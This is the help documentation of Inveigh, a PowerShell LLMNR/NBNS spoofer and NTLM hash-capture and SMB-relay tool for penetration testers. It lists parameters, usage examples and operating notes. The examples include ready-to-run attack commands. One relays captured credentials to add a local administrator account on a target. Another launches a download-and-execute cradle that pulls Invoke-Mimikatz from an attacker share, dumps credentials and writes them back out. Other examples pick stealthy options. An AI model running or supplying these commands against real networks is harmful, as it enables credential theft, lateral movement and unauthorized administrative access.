{
<#
.SYNOPSIS
Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP(S)/SMB and NTLMv2 HTTP to SMB relay.

.DESCRIPTION
Inveigh is a Windows PowerShell LLMNR/NBNS spoofer designed to assist penetration testers that find themselves limited to a Windows system.
This can commonly occur while performing phishing attacks, USB drive attacks, VLAN pivoting, or simply being restricted to a Windows system as part of client imposed restrictions.

.PARAMETER IP
Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpoofIP' parameter is not set.

.PARAMETER SpooferIP
Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to another system. 

.PARAMETER HTTP
Default = Enabled: Enable/Disable HTTP challenge/response capture.

.PARAMETER HTTPS
Default = Disabled: Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443.
If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store.

.PARAMETER SMB
Default = Enabled: Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server.

.PARAMETER LLMNR
Default = Enabled: Enable/Disable LLMNR spoofing.

.PARAMETER NBNS
Default = Disabled: Enable/Disable NBNS spoofing.

.PARAMETER NBNSTypes
Default = 20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name

.PARAMETER Challenge
Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. 

.PARAMETER SMBRelay
Default = Disabled: Enable/Disable SMB relay.

.PARAMETER SMBRelayTarget
IP address of system to target for SMB relay.

.PARAMETER SMBRelayCommand
Command to execute on SMB relay target.

.PARAMETER SMBRelayUsernames
Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts either just the username of domain\username format. 

.PARAMETER SMBRelayAutoDisable
Default = Enable: Automaticaly disable SMB relay after a successful command execution on target.

.PARAMETER SMBRelayNetworkTimeout
Default = No Timeout: Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent.

.PARAMETER Repeat
Default = Enabled: Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured.

.PARAMETER ForceWPADAuth
Default = Enabled: Matches Responder option to Enable/Disable authentication for wpad.dat GET requests. Disabling can prevent browser login prompts.

.PARAMETER ConsolePrompt
Default = Enabled: Enable/Disable the console prompt.

.PARAMETER RunTime
Set the run time duration in minutes. Note that leaving the Inveigh console open will prevent Inveigh from exiting once the set run time is reached.

.PARAMETER ConsoleOutput
Default = Console Output Disabled: Enable/Disable real time console output.

.PARAMETER FileOutput
Default = File Output Disabled: Enable/Disable real time file output.

.PARAMETER StatusOutput
Default = Status Output Enabled: Enable/Disable statup and shutdown output.

.PARAMETER OutputDir
Default = Working Directory: Set an output directory for log and capture files.

.PARAMETER ShowHelp
Default = Enabled: Enable/Disable the help messages at startup.

.EXAMPLE
Import-Module;Invoke-Inveigh
Import module and execute with all default settings.

.EXAMPLE
. ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10
Dot source load and execute specifying a specific local listening/spoofing IP.

.EXAMPLE
Invoke-Inveigh -IP 192.168.1.10 -HTTP N
Execute specifying a specific local listening/spoofing IP and disabling HTTP challenge/response.

.EXAMPLE
Invoke-Inveigh -Repeat N -ForceWPADAuth N
Execute with the stealthiest options.

.EXAMPLE
Invoke-Inveigh -HTTP N -LLMNR N
Execute with LLMNR/NBNS spoofing disabled and challenge/response capture over SMB only. This may be useful for capturing non-Kerberos authentication attempts on a file server.

.EXAMPLE
Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N
Execute specifying a specific local listening IP and a LLMNR/NBNS spoofing IP on another subnet. This may be useful for sending traffic to a controlled Linux system on another subnet.

.EXAMPLE
Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Summer2015 /add && net localgroup administrators Dave /add"
Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target.  

.EXAMPLE
Invoke-Inveigh -smbrelay y -smbrelaytarget 192.168.2.55 -smbrelaycommand "powershell \\192.168.2.50\temp$\powermeup.cmd"
Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system. 
Powermeup.cmd contents used for this example:
powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1"
Original version:

.NOTES
1. An elevated administrator or SYSTEM shell is needed.
2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/SMB NTLMv1/NTLMv2 challenge/response capture.
3. LLMNR/NBNS spoofing is performed through sniffing and sending with raw sockets.
4. SMB challenge/response captures are performed by sniffing over the host system's SMB service.
5. HTTP challenge/response captures are performed with a dedicated listener.
6. The local LLMNR/NBNS services do not need to be disabled on the host system.
7. LLMNR/NBNS spoofer will point victims to host system's SMB service, keep account lockout scenarios in mind.
8. Kerberos should downgrade for SMB authentication due to spoofed hostnames not being valid in DNS.
9. Ensure that the LMMNR,NBNS,SMB,HTTP ports are open within any local firewall on the host system.
10. If you copy/paste challenge/response captures from output window for password cracking, remove carriage returns.
11. SMB relay support is experimental at this point, use caution if employing on a pen test.
